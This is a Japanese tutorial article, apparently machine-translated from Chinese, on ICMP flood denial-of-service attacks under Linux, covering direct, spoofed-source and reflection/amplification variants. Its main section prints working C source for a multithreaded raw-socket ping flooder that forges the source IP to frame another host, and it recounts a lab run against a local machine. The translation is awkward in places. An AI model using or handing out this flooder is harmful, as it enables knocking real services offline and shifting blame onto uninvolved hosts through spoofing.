この記事は主に Linuxプログラミングにおける ICMP フラッド攻撃に関する情報を皆さんに詳しく紹介していますので、興味のある方は参考にしてください
前回の記事「Linux プログラミング PING」の「実装」。 PING プログラムは ICMP プロトコルを使用して実装されます。このような PING プログラムの実装に加えて、ICMP には他にどのような未知の用途や興味深い用途がありますか?ここで、もう 1 つの有名な ICMP のブラック テクノロジーである ICMP フラッド攻撃を紹介します。
ICMP フラッド攻撃は、ハッカーが好んで使用する攻撃方法である、有名な DOS (Denial of Service) 攻撃の一種です。ICMP についての理解を深めるために、ICMP に基づいた ICMP の文章も書いてみます。フラッド攻撃アプレット。
フラッド攻撃とは、コンピュータ ネットワーク技術を使用して宛先ホストに大量の無駄なデータ パケットを送信し、宛先ホストが無駄なデータ パケットの処理で忙しくなり、通常のサービスを提供できなくなるネットワーク 動作 を指します。
ICMP フラッド攻撃: 名前が示すように、宛先ホストに ping パケットを大量に送信し、宛先ホストが ping パケットの処理でビジー状態になり、他の通常のリクエストを処理できなくなるというものです。これは ping パケットのフラッドに似ています。宛先ホストをフラッディングします。
ICMP フラッド攻撃を実装するには、次の 3 つの知識が必要です:
DOS 攻撃の原理
ICMP についての深い理解
生のソケット プログラミング スキル
1 。 ICMP フラッド攻撃の原理
ICMP フラッド攻撃は ping に基づいて形成されますが、ping プログラムは目的やダウンタイムの問題をほとんど引き起こしません。これは、ping のパケットの送信速度が遅すぎるためです。私が実装したプログラムでは、ping パケットの送信速度は 1 秒あたり 1 パケットに制限されています。この速度は宛先ホストが ping パケットを処理するには十分です。したがって、「フラッド」現象を起こすためには、契約発行率を高める必要がある。 ICMP フラッド攻撃の 3 つの方法は次のとおりです:
(1) 直接フラッド攻撃
これには、ローカル ホストの帯域幅と宛先ホストの帯域幅の競合が必要です。たとえば、私のホストのネットワーク帯域幅は 30M です。あなたのホストのネットワーク帯域幅はわずか 3M なので、あなたのホストを水没させるフラッド攻撃を開始する成功率は非常に高いです。この攻撃方法では、攻撃側ホストの処理能力と帯域幅が攻撃対象ホストの処理能力と帯域幅よりも大きいことが必要です。そうでない場合は、攻撃を受けます。この考えに基づいて、高帯域幅で高性能のコンピュータを使用して、マルチスレッド方式を使用して複数の ICMP 要求メッセージを一度に送信することができます。これにより、宛先ホストはこれらの大量のメッセージの処理でビジーになり、結果として速度が遅くなります。速度やダウンタイムさえも。この方法には、相手が ICMP パケットの IP アドレスに基づいて攻撃元をブロックしてしまい、攻撃を継続できなくなるという大きな欠点があります。
(2) 偽 IP 攻撃
直接フラッド攻撃に基づいて、送信者の IP アドレスを別の IP に偽装します。自分の IP を他の被害者の IP に偽装すると、ホスト 1 の管理者が望む場合、被害者ホスト 1 の icmp 応答パケットが被害者ホスト 2 にも送信されます。ある野郎が彼を攻撃するためにパケットを送信したところ、ICMP パケットの送信元アドレスを確認したところ、ホスト 2 であることが判明したため、ホスト 2 がスケープゴートになりました。
(3) 反射攻撃
このタイプの攻撃の考え方は上記の 2 つの攻撃とは異なり、反射攻撃の設計はより巧妙です。実際、ここでの 3 番目のモードの攻撃モードは、最初の 2 つのモードを統合してアップグレードしたもので、反射攻撃は「借りたナイフで殺す」ようなものです。ターゲット ホストに送信されますが、他のホストのグループがそれをターゲット ホストと間違えて、ICMP 要求パケットを送信した後、宛先ホストに ICMP 応答パケットを送信し、宛先ホストに全方向からのフラッディングが発生します。 。たとえば、LAN 上の他のホストに ICMP 要求パケットを送信し、自分の IP アドレスを宛先ホストの IP として偽装します。このようにして、サブ宛先ホストが ICMP エコーの焦点になります。被害者のホストが攻撃元を特定するのは難しいため、この攻撃は非常に巧妙です。
2. ICMP フラッド攻撃プログラムの設計
ここでは、2 番目の方法を使用して設計したいと思います。 「借りたナイフで人を殺す」という 3 番目の方法はより巧妙ですが、実際には 2 番目の方法の変装方法をさらに拡張したもので、実装は似ています。
まず攻撃のモデル画像を与えます:
1. グループICMPパケット
ここでのパケット アセンブリは、PING プログラムを作成するときのパケット アセンブリとあまり変わりません。唯一注意する必要があるのは、送信元アドレスを偽装して責任を負わせるため、IP ヘッダー部分を埋める必要があることです。他人について。
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8)); //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了 }
2. パケット送信スレッドを構築します
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制发包的全局变量 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //记得要释放内存 }
3. パケット送信スイッチを作成します
セマフォ付き+ グローバル変数。 Ctrl+Cを押すと攻撃がオフになります。
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4. 全体的な アーキテクチャ
もちろん、パケットを一緒に送信するために 64 個のスレッドを使用して、攻撃の強度を高めることができます。しかし、私たちは実験をしているだけなので、それほど大掛かりにする必要はありません。
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i<THREAD_MAX_NUM;i++) { err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL); if(err) { printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<THREAD_MAX_NUM;i++) { pthread_join(attack_thread[i], NULL); //等待线程结束 } printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return 0; }
3. 実験
この実験は、私が持っている機器を使用し、ネットワークとプロトコルの応用をさらに理解することを目的としているため、攻撃の範囲は比較的狭いです。小さく、時間も数秒しかかからず、機器には影響しません。
攻撃手順についてもう一度話しましょう。ホスト 172.0.5.183 を独自の攻撃ホストとして使用し、ホスト 172.0.5.182 に偽装して、ホスト 172.0.5.9 に対して ICMP フラッド攻撃を開始します。
攻撃が始まります
「被害者」側の状況を観察しましょう。わずか 5 秒で、70,000 を超えるパケットが正しく受信され、処理のために上位層に配信されました。機械の動作に影響を与えないように、あまりやりすぎることはありません。
Wireshark を使用してパケットをキャプチャし、もう一度見てみると、ICMP パケットの量も非常に多いようです。 ICMP パケットの送信元アドレスは 172.0.5.182 (偽装されたアドレス) として表示され、エコー応答も 172.0.5.182 に送信されます。ホスト 172.0.5.182 は、なぜこれほど多くのエコー応答パケットを受信したのか説明がつかないと考えるでしょう。
攻撃実験が完了しました。
現在、より人気があるのは DDOS 攻撃です。これは、より強力で、より洗練された戦略であり、防御がより困難です。
実際、この種の DDoS 攻撃も DOS に基づいて開始されます。具体的な手順は次のとおりです。
1. 攻撃者は「増幅ネットワーク」にエコー要求メッセージをブロードキャストします。
2. 攻撃者は、ブロードキャスト メッセージのソース IP を攻撃されたホストとして指定します
3. 「ネットワークを増幅」し、攻撃されたホストにエコー応答を返します
4. DDoS 攻撃シナリオを作成します
ここでの「増幅されたネットワーク」は、次のようなネットワークとして理解できます。これらのホストのオペレーティング システムは、宛先アドレスがブロードキャスト アドレスであるある種の ICMP 要求パケットへの応答をサポートする必要があります。
攻撃戦略は非常に巧妙で、簡単に言うと、送信元アドレスを攻撃ホストの IP アドレスに偽装し、エコー要求を受信したホストが一斉にパケットを送信します。攻撃ホストによる集団攻撃の発生現場。
以上がLinux -- ICMP フラッド攻撃のインスタンスの紹介の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。